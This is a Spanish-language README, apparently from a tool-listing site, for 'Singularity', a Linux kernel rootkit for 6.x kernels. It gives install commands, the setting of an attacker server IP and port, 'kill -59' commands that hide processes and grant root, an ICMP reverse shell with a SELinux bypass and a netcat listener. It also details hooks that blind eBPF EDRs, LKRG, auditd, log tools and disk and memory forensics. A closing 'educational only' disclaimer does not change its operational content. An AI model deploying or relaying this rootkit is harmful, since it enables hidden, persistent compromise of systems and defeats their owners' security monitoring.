
Rootkit sigiloso del kernel de Linux (LKM) para kernels 6.x con ocultación avanzada de procesos/red, escalada de privilegios y evasión integral de herramientas de seguridad eBPF, LKRG, SELinux y análisis forense de memoria.
"¿Le damos un poco de trabajo a la forense?"
Este proyecto fue inspirado por una mujer muy especial para mí: Mocinha
Singularity es un potente rootkit de módulo de kernel de Linux (LKM) diseñado para kernels modernos 6.x. Proporciona capacidades integrales de sigilo mediante el enganche avanzado de llamadas al sistema a través de la infraestructura ftrace.
Artículo de investigación completo (versión desactualizada): Singularity: A Final Boss Linux Kernel Rootkit
Caso de estudio de evasión de EDR: Bypassing Elastic EDR with Singularity
Video POC: Singularity vs herramientas de seguridad eBPF: Singularity vs eBPF security tools
Rompiendo la seguridad de eBPF con los hooks de Singularity: Breaking eBPF
Singularity es un rootkit sofisticado que opera a nivel de kernel, proporcionando:
/sys/fs/cgroup/*/cgroup.procscd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
Eso es todo. El módulo automáticamente:
- Se oculta de lsmod, /proc/modules, /sys/module
- Limpia las banderas de taint del kernel
- Filtra cadenas sensibles de dmesg, journalctl -k, klogctl
- Comienza a proteger tus archivos y procesos ocultos
### Notas importantes
**El módulo se oculta automáticamente después de cargarse**
**No hay funcionalidad de descarga: se requiere reinicio para eliminar**
**Prueba primero en una máquina virtual: no se puede eliminar sin reiniciar**
## Configuración
### Establece tu IP y puerto del servidor
**Edita `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Editar modules/icmp.c:```c
#define SRV_PORT "8081" // Change this to your desired port
**Editar `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Editar modules/hiding_tcp.c:```c
#define PORT 8081 // Must match SRV_PORT
**Importante**: Todas las definiciones de puertos deben coincidir para el ocultamiento adecuado de red y la funcionalidad de ICMP reverse shell.
## Uso
### Ocultar procesos```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
El proceso será invisible para ps, top, htop, /proc y todas las herramientas de monitoreo. Todos los procesos hijos son automáticamente rastreados y ocultados.
Los archivos que coinciden con tus patrones configurados se ocultan automáticamente:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### Convertirse en root
**Método basado en señales:**```bash
kill -59 $$
id # uid=0(root)
Las conexiones en tu puerto configurado (por defecto: 8081) se ocultan automáticamente:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
Los paquetes se descartan a nivel de socket raw (tpacket_rcv) y se ocultan de:
- /proc/net/* interfaces (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG queries (used by ss, lsof)
- Netlink NETFILTER/conntrack messages (used by conntrack tool)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### ICMP Reverse Shell
Activa una reverse shell oculta de forma remota con bypass automático de SELinux:
**1. Inicia el listener:**
Todos los intentos de deshabilitar ftrace son interceptados y bloqueados silenciosamente:```bash echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
Syscalls protegidos: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (con almacenamiento en caché inteligente por PID)
### Filtrado de Syscalls BPF
El módulo bpf_hook.c implementa un sofisticado sistema de antidetección contra herramientas de seguridad basadas en eBPF. En lugar de bloquear por completo las syscalls BPF (lo que sería una huella de detección), filtra selectivamente los datos a nivel de kernel para que los procesos y conexiones ocultos sean invisibles para los programas eBPF.
**Estrategia**: Interceptar las funciones de recopilación y reporte de datos utilizadas por los programas eBPF, no la syscall BPF en sí. Esto permite que las herramientas eBPF legítimas funcionen normalmente mientras impide que vean los recursos ocultos.
**Recursos protegidos**:
- Procesos ocultos y todo su árbol de procesos (hasta 10 niveles de padres)
- Conexiones de red en el puerto configurado (por defecto: 8081) o a la dirección IP configurada
- Inodos de socket asociados con procesos ocultos
**Puntos de intercepción**:
- Ejecución de iterador (enumeración de procesos/sockets)
- Operaciones de ringbuffer (envío de eventos al espacio de usuario)
- Operaciones de mapa BPF (búsquedas e inserciones de PID)
- Salida de eventos Perf (entrega de eventos eBPF heredados)
- Escrituras de archivos Seq (formato de salida)
- Ejecución de programas (filtrado basado en contexto)
Este enfoque derrota a las herramientas de seguridad eBPF sin desencadenar alertas que provendrían de bloquear las operaciones BPF por completo.
### Protección io_uring
Protección contra la elusión de io_uring en intentos de ftrace_enabled y tracing_on con almacenamiento en caché inteligente (caché de 1 segundo por PID para evitar el escaneo repetido de procesos y reducir la sobrecarga)
### Saneamiento de Registros
Filtrado en tiempo real de cadenas sensibles de todas las interfaces de registro del kernel:
| Interfaz | Hook | Estado |
|-----------|------|--------|
| `dmesg` | hook de lectura en /proc/kmsg | Filtrado |
| `journalctl -k` | hook de escritura (filtrado de salida) | Filtrado |
| `klogctl()` / `syslog()` | hook do_syslog | Filtrado |
| `/sys/kernel/debug/tracing/*` | hook de lectura | Filtrado |
| `/var/log/kern.log`, `syslog`, `auth.log` | hook de lectura | Filtrado |
| `/proc/kallsyms`, `/proc/kcore`, `/proc/vmallocinfo` | hook de lectura | Filtrado |
| `/proc/net/nf_conntrack` | hook de lectura | Filtrado |
Palabras clave filtradas: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
**Nota**: Los mensajes de auditoría para PIDs ocultos se descartan a nivel netlink con seguimiento de estadísticas (get_blocked_audit_count, get_total_audit_count)
### Evasión de Forense de Disco
Singularity engancha la syscall write para detectar y filtrar la salida de herramientas de forense de disco:
**Cómo funciona:**
1. Detecta si el proceso tiene abierto un dispositivo de bloque (`/dev/sda`, `/dev/nvme0n1`, etc)
2. Detecta patrones de salida estilo debugfs (listados de inodos, metadatos del sistema de archivos)
3. Sanea los patrones ocultos en el lugar (reemplaza con espacios para mantener el tamaño del búfer/checksums)```bash
# Hidden files are invisible even to raw disk analysis
debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
# (spaces where "singularity" was)
# The pattern is sanitized in the output buffer
# Checksums remain valid, no corruption
Patrones detectados:
debugfs:Inode count:, Block count:, Filesystem volume name:Filesystem UUID:, e2fsck, Inode:Ocultación completa de llamadas al sistema e interfaces del kernel:
Los procesos hijos se rastrean automáticamente mediante el hook del tracepoint sched_process_fork.
Singularity implementa una evasión integral contra Linux Kernel Runtime Guard:
Verificaciones omitidas:
Características:
Los procesos ocultos son invisibles para todos los mecanismos de verificación de integridad de LKRG.
Singularity implementa un sistema integral de defensa anti-EDR que impide que las herramientas de seguridad basadas en eBPF detecten procesos ocultos y conexiones de red. La protección funciona interceptando funciones del kernel que los programas eBPF utilizan para recopilar y reportar datos.
Protegido contra:
Interceptación multicapa:
Filtrado de iteradores (bpf_iter_run_prog)
ss y herramientas de enumeración de procesosBloqueo de eventos del ringbuffer (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
Manipulación de mapas BPF (bpf_map_lookup_elem, bpf_map_update_elem)
Supresión de eventos perf (perf_event_output, perf_trace_run_bpf_submit)
Filtrado de archivos seq (bpf_seq_write, bpf_seq_printf)
Control de ejecución de programas (__bpf_prog_run)
Ocultación de sockets y conexiones:
Seguimiento de linaje de procesos:
Los procesos y conexiones ocultos generan cero eventos visibles para las herramientas de seguridad eBPF.
Monitoreo de Procesos: ps, top, htop, atop, pidof
Sistema de Archivos: ls, find, locate, stat, lstat, readlink, tree
Forense de Disco: debugfs, e2fsck (salida filtrada mediante hook de escritura)
Forense de Memoria: Volatility, crash, gdb (a través del filtrado de /proc/kcore)
Red: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*
Registros y Trazas: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf
Detectores de Rootkits: unhide, chkrootkit, rkhunter, OSSEC
Detección de Módulos: lsmod, modinfo, /sys/module, /proc/modules, kmod
Seguridad del Kernel: LKRG (Linux Kernel Runtime Guard)
Herramientas de Seguridad eBPF:
EDR/Monitoreo: monitores basados en io_uring, algunas soluciones EDR de Linux, auditd
Soporte Multi-Arquitectura: x86_64 (__x64_sys_*) e ia32 (__ia32_sys_*, __ia32_compat_sys_*)
Desafortunadamente para algunos...
Incluso con todos estos filtros, protecciones y hooks, todavía hay formas de detectar este rootkit.
Pero si eres un buen analista forense, profesional de DFIR o investigador de malware, te dejaré que lo descubras por tu cuenta.
No parchearé esto, porque será mucho más OP ;)
Singularity fue creado por MatheuZSecurity (Matheus Alves)
kprobeÚnete a Investigadores de Rootkits: Discord - https://discord.gg/66N5ZQppU7
¿Encontraste un error? Abre un issue o contáctame en Discord: kprobe
SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN
Singularity fue creado como un proyecto de investigación para explorar los límites de las técnicas de sigilo a nivel de kernel. El objetivo es responder una pregunta: "¿Qué tan lejos puede ocultarse un rootkit si logra infiltrarse y cargarse en un sistema?"
Este proyecto existe para:
No soy responsable del mal uso de este software. Si decides usar Singularity con fines maliciosos, es tu responsabilidad. Esta herramienta se proporciona tal cual para investigación, educación y pruebas de seguridad autorizadas únicamente.
Prueba solo en sistemas que posees o para los que tienes permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones.
Sé un investigador, no un criminal.
| Syscall/Función | Módulo | Propósito |
|---|
| getdents, getdents64 | hiding_directory.c | Filtrar entradas de directorio, ocultar PIDs |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Ocultar metadatos de archivos, ajustar nlink |
| getpriority | hiding_stat.c | Ocultar consultas de prioridad para PIDs ocultos |
| openat | open.c | Bloquear el acceso a /proc/[pid] ocultos |
| readlinkat | hiding_readlink.c | Bloquear resolución de enlaces simbólicos |
| chdir | hiding_chdir.c | Evitar cd en directorios ocultos |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Filtrar registros del kernel, kcore, kallsyms, PIDs de cgroup, nf_conntrack |
| do_syslog | clear_taint_dmesg.c | Filtrar el búfer de anillo del kernel de klogctl()/syslog() |
| sched_debug_show | clear_taint_dmesg.c | Filtrar la salida de depuración del planificador |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Bloquear control de ftrace + filtrar forense de disco + filtrar salida de journalctl |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Bloquear copias de archivos a archivos protegidos |
| splice, vmsplice, tee | hooks_write.c | Bloquear escrituras basadas en tuberías a archivos protegidos |
| io_uring_enter | hooks_write.c | Bloquear bypass de E/S asíncrona con almacenamiento en caché de PID |
| kill | become_root.c | Disparador de root + ocultar procesos |
| getsid, getpgid, getpgrp | become_root.c | Devuelve ESRCH para PIDs ocultos |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Devuelve ESRCH para PIDs ocultos |
| sysinfo | become_root.c | Ajusta el conteo de procesos |
| pidfd_open | become_root.c | Devuelve ESRCH para PIDs ocultos |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Ocultar conexiones TCP de /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | Ocultar conexiones UDP de /proc/net |
| tpacket_rcv | hiding_tcp.c | Descartar paquetes a nivel de socket raw |
| recvmsg, recvfrom | audit.c | Filtrar mensajes netlink SOCK_DIAG y NETFILTER |
| netlink_unicast | audit.c | Descartar mensajes de auditoría para PIDs ocultos |
| audit_log_start | audit.c | Bloquear la creación de registros de auditoría para procesos ocultos |
| bpf | bpf_hook.c | Filtrar operaciones eBPF para PIDs ocultos |
| bpf_iter_run_prog | bpf_hook.c | Ocultar procesos ocultos de los iteradores BPF |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | Filtrar la salida de archivos seq de BPF |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Filtrar eventos de Falco a través del ringbuffer |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Filtrar operaciones de mapas BPF |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Filtrar eventos perf para procesos ocultos |
| __bpf_prog_run | bpf_hook.c | Filtrar ejecución de programas BPF |
| icmp_rcv | icmp.c | Reverse shell activada por ICMP con bypass de SELinux |
| taskstats_user_cmd | task.c | Bloquear consultas de TaskStats para PIDs ocultos |
| sched_process_fork (tracepoint) | trace.c | Rastrear procesos hijos |
| kprobe_ftrace_handler | lkrg_bypass.c | Bypass de detección de kprobe de LKRG |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Bypass de verificaciones de credenciales de LKRG |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Bypass de validación CFI de LKRG |
| p_check_integrity | lkrg_bypass.c | Bypass de verificaciones de integridad de LKRG |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Ocultar de la enumeración de tareas de LKRG |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Bypass de seguimiento de UMH de LKRG |
| p_exploit_detection_init | lkrg_bypass.c | Bypass de detección de exploits de LKRG |
| tainted_mask (kthread) | reset_tainted.c | Limpiar las banderas de contaminación del kernel |
| module_hide_current | hide_module.c | Eliminar de listas de módulos y sysfs |
| Versión del Kernel | Distribución | Estado | Notas |
|---|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Estable | Entorno de desarrollo principal |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Estable | Kernel basado en RHEL |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Estable | Kernel de Debian |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Estable | Bypass de SELinux enforcing validado |
| 6.17.0-8-generic | Ubuntu 25.10 | Estable | Kernel genérico más nuevo, completamente funcional |
| 6.14.0-37-generic | Ubuntu 24.04 | Estable | Bypass de LKRG y Falco validado |
| 6.12.25-amd64 | Kali Linux | Estable | Kali 6.12.25-1kali1 |